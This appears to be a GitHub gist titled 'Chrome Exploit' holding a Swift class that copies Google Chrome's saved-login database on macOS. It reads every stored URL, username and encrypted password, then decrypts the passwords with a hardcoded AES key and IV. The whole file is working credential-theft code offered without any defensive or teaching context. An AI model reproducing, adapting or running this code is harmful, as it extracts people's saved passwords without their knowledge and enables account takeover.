Created
November 28, 2018 22:17
-
-
Save jesuscast/f38bf01d903a9237c8d06318e643f25c to your computer and use it in GitHub Desktop.
Chrome Exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import Foundation | |
import CryptoSwift | |
import FMDB | |
open class ChromePasswords: NSObject { | |
let db:FMDatabase? = nil | |
let fileManager = FileManager.default | |
/** | |
Decrypts a password encrypted by google chrome. | |
- Parameter encryptedValue: The encrypted password as an array of bytes. | |
- Returns: Optional for the decrypted password. | |
*/ | |
open func decryptValue(_ encryptedValue: [UInt8]) -> String?{ | |
// The key Google chrome uses to encrypt data. Derived from the source code of chromium. | |
let key: Array<UInt8> = [222, 139, 31, 153, 178, 138, 184, 253, 81 ,99, 206, 46, 129, 22, 185, 115] | |
// The iv is also obtained from chromium. Is just 16 blank spaces. | |
let iv: Array<UInt8> = " ".utf8.map {$0} | |
do { | |
let aesObject = try CryptoSwift.AES(key: key, iv: iv , blockMode: .CBC, padding: PKCS7()) | |
let decrypted = try aesObject.decrypt(encryptedValue) | |
// Transform the data into NSDATA | |
let data = Data(bytes: UnsafePointer<UInt8>(decrypted), count: decrypted.count) | |
// Now transform into a String? | |
let stringValue = String(data: data, encoding: String.Encoding.utf8) | |
return stringValue | |
} catch { | |
print("Error \(error)") | |
return nil | |
} | |
} | |
/** | |
Removes a file if it exists. | |
- Parameter tmp_path: The path to the file to remove. | |
- Returns: Bool of success. | |
*/ | |
func removeIfExists(_ tmp_path: String) -> Bool { | |
if (fileManager.fileExists(atPath: tmp_path)) { | |
do { | |
try fileManager.removeItem(atPath: tmp_path) | |
} catch let error as NSError { | |
print("Error \(error)") | |
return false | |
} | |
} | |
return true | |
} | |
/** | |
Copies the most recent 'Login Data' file for google chrome from its standard path into a temporary directory. | |
We need to do this since reading the original file sometimes is not possible since google chrome locks the file. | |
- Returns: The path to the temporary file where the file was copied to. | |
*/ | |
open func copyMostRecentPasswordsFile() -> String? { | |
let tmp_path = URL(fileURLWithPath: NSTemporaryDirectory()).appendingPathComponent("logindata").path | |
// Remove the previous file if it was there (we want the most recent version of the file) | |
if(!removeIfExists(tmp_path)){ | |
return nil | |
} | |
// Now we need to copy the file from the the default location to a tmp folder. | |
do { | |
// a.k.a ~/Library/Application Support | |
if let supportDirectory = fileManager.urls(for: .applicationSupportDirectory, in: .userDomainMask).first { | |
// a.k.a ~/Library/Application Support/Google/Chrome/Default/Login Data | |
let chromePasswordsFile = supportDirectory.appendingPathComponent("Google/Chrome/Default/Login Data").path | |
try fileManager.copyItem(atPath: chromePasswordsFile, toPath: tmp_path) | |
return tmp_path | |
} | |
} | |
catch let error as NSError { | |
print("Error: \(error)") | |
} | |
return nil | |
} | |
/** | |
Returns a list of dictionaries with the data for the username, passwords, and urls | |
from google chrome. | |
- Parameter query: A query from the database (FMDatabase). We assume it contains the fields origin_url, username_value, password_value | |
- Returns: The results of all the passowords found. | |
*/ | |
func readQueryResults(_ query: FMResultSet) -> [[String: String]] { | |
var result: [[String: String]] = [] | |
while query.next() { | |
var currentRow:[String: String] = [String: String]() | |
if let passwordData = query.data(forColumn: "password_value"){ | |
let bytes:Array<UInt8> = passwordData.bytes | |
var tmp:Array<UInt8> = [] | |
if bytes.count > 3 { | |
for i in 3..<bytes.count { | |
tmp.append(bytes[i]) | |
} | |
if let password = decryptValue(tmp) { | |
// print(password) | |
currentRow["password"] = password | |
for field in ["origin_url", "username_value"] { | |
if let fieldData = query.string(forColumn: field) { | |
currentRow[field] = fieldData | |
} | |
} | |
result.append(currentRow) | |
} | |
} | |
} | |
} | |
return result | |
} | |
/** | |
Returns data from Google Chrome passwords. This is the function that should be called to obtain all of the data. | |
- Returns: An optional array with a dictionary per password, username, url, found. | |
*/ | |
func readDataFromPasswordDatabase() -> [[String: String]]? { | |
if let tmpPasswordsFile = copyMostRecentPasswordsFile() { | |
if let db = FMDatabase(path: tmpPasswordsFile) { | |
if db.open() { | |
let loginTableInfo = getTableInfo("logins", database: db) | |
print(loginTableInfo) | |
do { | |
let query = try db.executeQuery("SELECT origin_url, username_value, password_value from logins;", values: nil) | |
let result = readQueryResults(query) | |
query.close() | |
if (removeIfExists(tmpPasswordsFile)) { | |
print("Removed temporary password file copied here from google chrome") | |
} | |
return result | |
} catch { | |
print("error") | |
} | |
} else { | |
print("Error opening the database") | |
} | |
} | |
} | |
return nil | |
} | |
override init(){ | |
super.init() | |
// self.readDataFromDatabase() | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment